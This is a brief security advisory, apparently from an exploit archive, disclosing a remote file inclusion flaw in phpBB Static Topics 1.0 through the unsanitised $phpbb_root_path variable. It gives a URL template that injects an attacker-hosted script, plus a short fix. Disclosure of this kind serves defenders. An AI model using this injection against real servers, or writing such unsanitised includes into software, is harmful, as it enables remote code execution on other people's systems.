phpBB Static Topics <= 1.0 [phpbb_root_path] File Include Vulnerability

--------------------------------------------------------------------------- phpBB Static Topics &#60;= 1.0 [phpbb_root_path] Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net : Remote : Yes Critical Level : Dangerous --------------------------------------------------------------------------- Affected software description : ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : phpBB Static Topics version : 1.0 URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip ------------------------------------------------------------------ Exploit: ~~~~~ Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. # http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script] --------------------------------------------------------------------------- Solution : ~~~~~~~ declare variabel $phpbb_root_path --------------------------------------------------------------------------- Shoutz: ~~~ # Special greetz to my good friend [Oo] # To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ] --------------------------------------------------------------------------- */ Contact: ~~~~~ Nick: Kw3rLn E-mail: ciriboflacs[at]YaHoo[dot]Com Homepage: hTTp://RST-CREW.NET _/* # milw0rm.com [2006-10-04]